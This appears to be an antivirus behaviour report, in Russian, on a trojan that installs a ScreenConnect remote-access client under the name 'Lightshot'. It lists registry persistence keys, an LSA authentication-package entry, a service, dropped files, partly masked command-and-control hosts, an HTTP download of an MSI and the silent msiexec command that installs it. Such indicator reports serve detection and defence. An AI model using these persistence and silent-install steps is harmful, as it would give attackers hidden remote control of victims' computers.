Trojan.Siggen32.60873

Техническая информация

Для обеспечения автозапуска и распространения

Модифицирует следующие ключи реестра

[HKLM\SOFTWARE\Classes\sc-fa518a377ab9ac74\shell\open\command] '' = '"%ProgramFiles(x86)%\Lightshot Files\ScreenConnect.WindowsClient.exe" "%1"'
[HKLM\SYSTEM\CurrentControlSet\Control\Lsa] 'Authentication Packages' = 'msv1_0\n%ProgramFiles(x86)%\Lightshot Files\ScreenConnect.WindowsAuthenticationPackage.dll'

Устанавливает следующие настройки сервисов

[HKLM\SYSTEM\CurrentControlSet\Services\Lightshot Service] 'Start' = '00000002'
[HKLM\SYSTEM\CurrentControlSet\Services\Lightshot Service] 'ImagePath' = '"%ProgramFiles(x86)%\Lightshot Files\ScreenConnect.ClientService.exe" "?e=Access&y=Guest&h=client-support.help&p=8888&s...

Создает следующие сервисы

'Lightshot Service' %ProgramFiles(x86)%\Lightshot Files\ScreenConnect.ClientService.exe" "?e=Access&y=Guest&h=client-support.help&p=8888&s=ac540bb2-8e95-44f7-a75d-e8944fcc2f20&k=BgIAAACkAABSU0ExAAgAAAEAAQAVpTeHgzX...

Изменения в файловой системе

Создает следующие файлы

%LOCALAPPDATA%\document reader\updates\8esyhsw7.msi
%WINDIR%\installer\msi3f85.tmp-\screenconnect.installeractions.dll
%WINDIR%\installer\msi3f85.tmp-\microsoft.deployment.windowsinstaller.dll
%WINDIR%\installer\msi3f85.tmp-\microsoft.deployment.windowsinstaller.package.dll
%WINDIR%\installer\msi3f85.tmp-\screenconnect.core.dll
%WINDIR%\installer\msi3f85.tmp-\screenconnect.windows.dll
%WINDIR%\installer\msi3f85.tmp-\microsoft.deployment.compression.dll
%WINDIR%\installer\msi3f85.tmp-\microsoft.deployment.compression.cab.dll
%WINDIR%\installer\msi3f85.tmp-\customaction.config
%LOCALAPPDATA%\microsoft\clr_v4.0_32\usagelogs\rundll32.exe.log
%WINDIR%\temp\~df649b4c0911b52d56.tmp
%WINDIR%\installer\sourcehash{6231d5f9-3807-ef1a-c777-75024362d3e9}
%WINDIR%\temp\~dfaa271c881e6adaa4.tmp
%WINDIR%\temp\~df34fae9d163dff554.tmp
%WINDIR%\temp\~df0e6e1f4683a3941a.tmp
%ProgramFiles(x86)%\lightshot files\screenconnect.client.dll
%ProgramFiles(x86)%\lightshot files\screenconnect.clientservice.dll
%ProgramFiles(x86)%\lightshot files\screenconnect.core.dll
%ProgramFiles(x86)%\lightshot files\screenconnect.windows.dll
%ProgramFiles(x86)%\lightshot files\screenconnect.windowsauthenticationpackage.dll
%ProgramFiles(x86)%\lightshot files\screenconnect.windowsbackstageshell.exe
%ProgramFiles(x86)%\lightshot files\screenconnect.windowsbackstageshell.exe.config
%ProgramFiles(x86)%\lightshot files\screenconnect.windowsclient.exe
%ProgramFiles(x86)%\lightshot files\screenconnect.windowsclient.exe.config
%ProgramFiles(x86)%\lightshot files\screenconnect.windowscredentialprovider.dll
%ProgramFiles(x86)%\lightshot files\screenconnect.windowsfilemanager.exe
%ProgramFiles(x86)%\lightshot files\screenconnect.windowsfilemanager.exe.config
%ProgramFiles(x86)%\lightshot files\screenconnect.clientservice.exe
%ProgramFiles(x86)%\lightshot files\app.config
%ProgramFiles(x86)%\lightshot files\client.en-us.resources
%ProgramFiles(x86)%\lightshot files\client.override.en-us.resources
%ProgramFiles(x86)%\lightshot files\client.resources
%ProgramFiles(x86)%\lightshot files\system.config
%WINDIR%\installer\{6231d5f9-3807-ef1a-c777-75024362d3e9}\defaulticon
%WINDIR%\temp\~dfc0687dab7a2519f6.tmp
%WINDIR%\temp\~dfb1f3c5f8251f0d8f.tmp
%WINDIR%\temp\~df8102bba31ac56925.tmp
%WINDIR%\temp\~dfbaebb15218f28e5a.tmp
%WINDIR%\temp\~df700e2bc32b75bc73.tmp
%WINDIR%\temp\~df7a3115c9779f9f1d.tmp
%WINDIR%\temp\~dfd4a0f394c33aecbe.tmp
%WINDIR%\temp\~df46fef4b5d5c5445d.tmp
%WINDIR%\syswow64\config\systemprofile\appdata\local\lightshot files\3iq0hpxw.newcfg
%TEMP%\content\1484-2864-screenconnect.windowsclient.exe-21-27-13-864.dump
%TEMP%\content\1484-2864-screenconnect.windowsclient.exe-21-27-13-967.dump
%TEMP%\content\1484-2864-screenconnect.windowsclient.exe-21-27-13-996.dump
%WINDIR%\temp\content\2476-4916-screenconnect.windowsclient.exe-21-27-17-734.dump
%WINDIR%\temp\content\2476-4916-screenconnect.windowsclient.exe-21-27-17-791.dump
%WINDIR%\temp\content\2476-4916-screenconnect.windowsclient.exe-21-27-17-807.dump

Удаляет файлы, которые сам же создал

%WINDIR%\installer\msi3f85.tmp-\customaction.config
%WINDIR%\installer\msi3f85.tmp-\microsoft.deployment.compression.cab.dll
%WINDIR%\installer\msi3f85.tmp-\microsoft.deployment.compression.dll
%WINDIR%\installer\msi3f85.tmp-\microsoft.deployment.windowsinstaller.dll
%WINDIR%\installer\msi3f85.tmp-\microsoft.deployment.windowsinstaller.package.dll
%WINDIR%\installer\msi3f85.tmp-\screenconnect.core.dll
%WINDIR%\installer\msi3f85.tmp-\screenconnect.installeractions.dll
%WINDIR%\installer\msi3f85.tmp-\screenconnect.windows.dll

Перемещает следующие файлы

%WINDIR%\syswow64\config\systemprofile\appdata\local\lightshot files\3iq0hpxw.newcfg в %WINDIR%\syswow64\config\systemprofile\appdata\local\lightshot files\user.config

Сетевая активность

Подключается к

'18#.#9.120.122':8090
'cl####-support.help':8888

TCP

Запросы HTTP GET

http://18#.##.120.122:8090/get_update/8eSyhsw7.msi via 18#.#9.120.122

Запросы HTTP POST

http://18#.##.120.122:8090/check via 18#.#9.120.122

Другие

'cl####-support.help':8888

UDP

DNS ASK cl####-support.help

Другое

Создает и запускает на исполнение

'%ProgramFiles(x86)%\lightshot files\screenconnect.clientservice.exe' "?e=Access&y=Guest&h=client-support.help&p=8888&s=ac540bb2-8e95-44f7-a75d-e8944fcc2f20&k=BgIAAACkAABSU0ExAAgAAAEAAQAVpTeHgzXPA6XAW6Wp6If29r8GttYmcCuU984l6Ad74lfCjYzNci9TEfnxPgTOMMy08zJTqobKrFHF...
'%ProgramFiles(x86)%\lightshot files\screenconnect.windowsclient.exe' "RunRole" "f76395e4-bd17-41d3-9bbb-011bd206b0a6" "User"
'%ProgramFiles(x86)%\lightshot files\screenconnect.windowsclient.exe' "RunRole" "92c48d70-89b1-4c41-b18d-a925c4254afb" "System"

Запускает на исполнение

'%WINDIR%\syswow64\msiexec.exe' /i "%LOCALAPPDATA%\Document Reader\Updates\8eSyhsw7.msi" /quiet
'%WINDIR%\syswow64\rundll32.exe' "%WINDIR%\Installer\MSI3F85.tmp",zzzzInvokeManagedCustomActionOutOfProc SfxCA_934390 2 ScreenConnect.InstallerActions!ScreenConnect.ClientInstallerActions.FixupServiceArguments